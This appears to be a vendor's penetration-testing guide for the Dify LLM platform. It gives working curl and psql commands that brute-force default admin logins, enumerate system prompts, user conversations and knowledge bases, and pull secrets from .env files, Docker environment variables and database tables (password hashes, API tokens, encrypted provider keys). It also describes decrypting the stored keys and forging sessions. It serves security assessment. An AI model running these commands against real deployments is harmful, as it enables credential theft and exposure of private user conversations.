Dify Security Testing: Default Credentials, API Key, Database, and .env SECRET_KEY

Dify is a widely deployed open-source LLM application development platform built on Python/Flask, used to build AI chatbots, agents, and workflow applications — it stores LLM application system prompts, user conversation histories, and organizational knowledge base documents. Key assessment areas: SECRET_KEY signs Flask session tokens; ENCRYPT_SECRET_KEY encrypts all stored LLM provider credentials; the console API provides access to all applications, conversations, and knowledge bases; PostgreSQL stores all application data; and MinIO/S3 stores uploaded knowledge base documents. Dify's system prompt configurations represent significant IP that may be extractable via prompt injection against deployed app endpoints. This guide covers systematic Dify security assessment.

Table of Contents

  1. Authentication and API Key Testing
  2. API App, Knowledge Base, and Conversation Enumeration
  3. SECRET_KEY and Database Credential Extraction
  4. Dify Security Hardening

Authentication and API Key Testing

# Dify — authentication and API key testing
DIFY_URL="https://dify.example.com"

# Dify login
AUTH=$(curl -s -X POST "${DIFY_URL}/console/api/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin","remember_me":true}' 2>/dev/null)
echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
result = d.get('result','')
data = d.get('data',{})
token = data.get('access_token','')
print(f'Result: {result}')
if token:
    print(f'Token: {token[:50]}')
" 2>/dev/null

# Try common credentials
for PASS in "admin" "dify" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${DIFY_URL}/console/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\",\"remember_me\":true}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('result')=='success' else 'FAIL')" 2>/dev/null)
  echo "admin/${PASS}: ${STATUS}"
done

# App API key (for end-user chatbot access)
APP_API_KEY="app-your-dify-app-key"
curl -s "${DIFY_URL}/v1/info" \
  -H "Authorization: Bearer ${APP_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'App: {d.get(\"name\")} description={d.get(\"description\",\"\")[:50]}')
" 2>/dev/null

API App, Knowledge Base, and Conversation Enumeration

# Dify console API — app, knowledge base, and conversation enumeration
DIFY_URL="https://dify.example.com"
ACCESS_TOKEN="your-dify-access-token"

# List all AI applications
curl -s "${DIFY_URL}/console/api/apps?page=1&limit=50" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',[])
total = d.get('total',0)
print(f'Apps: {total} total, showing {len(apps)}')
for a in apps[:10]:
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} mode={a.get(\"mode\")} status={a.get(\"status\")}')
" 2>/dev/null

APP_ID="your-app-id"

# Get app model configuration — reveals system prompt and LLM settings
curl -s "${DIFY_URL}/console/api/apps/${APP_ID}/model-config" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
model = d.get('model',{})
pre_prompt = d.get('pre_prompt','')
print(f'Model: {model.get(\"provider\")}/{model.get(\"name\")}')
print(f'System prompt: {pre_prompt[:200]}...')
" 2>/dev/null

# List all conversations for an app — complete user chat history
curl -s "${DIFY_URL}/console/api/apps/${APP_ID}/conversations?page=1&limit=20" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
convs = d.get('data',[])
total = d.get('total',0)
print(f'Conversations: {total} total')
for c in convs[:5]:
    print(f'  [{c.get(\"id\")}] name={c.get(\"name\",\"\")[:30]} user={c.get(\"from_end_user_id\",\"\")} msgs={c.get(\"message_count\")}')
" 2>/dev/null

# List all knowledge bases (datasets)
curl -s "${DIFY_URL}/console/api/datasets?page=1&limit=50" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
datasets = d.get('data',[])
print(f'Knowledge bases: {len(datasets)}')
for ds in datasets[:10]:
    print(f'  [{ds.get(\"id\")}] {ds.get(\"name\")} docs={ds.get(\"document_count\")} words={ds.get(\"word_count\")}')
" 2>/dev/null

SECRET_KEY and Database Credential Extraction

# Dify SECRET_KEY and database credential extraction

# .env file — Dify configuration
cat /app/api/.env 2>/dev/null | grep -E "SECRET_KEY|ENCRYPT_SECRET_KEY|DB_|REDIS|MINIO|CELERY|STORAGE"
# SECRET_KEY — Flask session signing key
# ENCRYPT_SECRET_KEY — AES key for LLM provider credential encryption
# DB_* / SQLALCHEMY_DATABASE_URI — PostgreSQL credentials
# MINIO_* / STORAGE_* — object storage credentials

# Docker environment variables
docker inspect dify-api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','ENCRYPT','DB_','REDIS','MINIO','STORAGE','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL — all LLM provider credentials (encrypted with ENCRYPT_SECRET_KEY)
DB_URL="postgresql://dify:PASSWORD@localhost/dify"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- LLM provider API keys (encrypted)
SELECT pm.id, pm.tenant_id, pm.provider_name, pm.provider_type,
       pm.encrypted_config  -- Contains encrypted API key JSON
FROM provider_models pm
ORDER BY pm.provider_name, pm.tenant_id
LIMIT 30;
EOF
-- Decrypt using ENCRYPT_SECRET_KEY with AES-GCM

# All users across all tenants
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT u.id, u.name, u.email, u.password,
       u.status, u.last_login_at, u.created_at
FROM accounts u
ORDER BY u.created_at DESC
LIMIT 20;
EOF

# App API keys — used to access chatbot endpoints
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT ak.id, ak.type, ak.token, ak.app_id,
       a.name as app_name, ak.created_at
FROM api_tokens ak
JOIN apps a ON ak.app_id = a.id
ORDER BY ak.created_at DESC
LIMIT 20;
EOF
-- token is the app-xxxx API key stored in plaintext

# MinIO storage — knowledge base documents
# Documents uploaded to Dify knowledge bases stored as files
# Access with MinIO credentials from MINIO_ROOT_USER/MINIO_ROOT_PASSWORD

Dify Security Hardening

Dify Security Hardening Checklist:
Security TestMethodRisk
ENCRYPT_SECRET_KEY extraction and LLM credential decryptionRead .env ENCRYPT_SECRET_KEY — AES-GCM key; decrypt provider_models.encrypted_config for all LLM provider API keys across all tenantsCritical
App API token plaintext extractionSELECT token FROM api_tokens — all app-xxxx API keys stored in plaintext; enables direct access to all deployed chatbot endpoints without admin authenticationHigh
System prompt extraction via console APIGET /console/api/apps/{id}/model-config — full system prompt for each AI application; reveals business logic, product knowledge, and IP embedded in system promptsHigh
Conversation history enumerationGET /console/api/apps/{id}/conversations — all user conversations with message history; may reveal sensitive user queries, business processes, and confidential information shared with the AI assistantHigh
SECRET_KEY extraction and Flask session forgeryRead .env SECRET_KEY — Flask session signing key; forge valid admin session cookies bypassing authenticationCritical

Automate Dify Security Testing

Ironimo tests Dify deployments for ENCRYPT_SECRET_KEY extraction and LLM provider credential decryption, app API token plaintext extraction from PostgreSQL, system prompt IP exposure via console API, conversation history enumeration across all apps, SECRET_KEY Flask session cookie forgery, Docker environment variable exposure, knowledge base document extraction, prompt injection against deployed app endpoints, multi-tenant isolation boundary testing, and MinIO knowledge base storage credential extraction.

Start free scan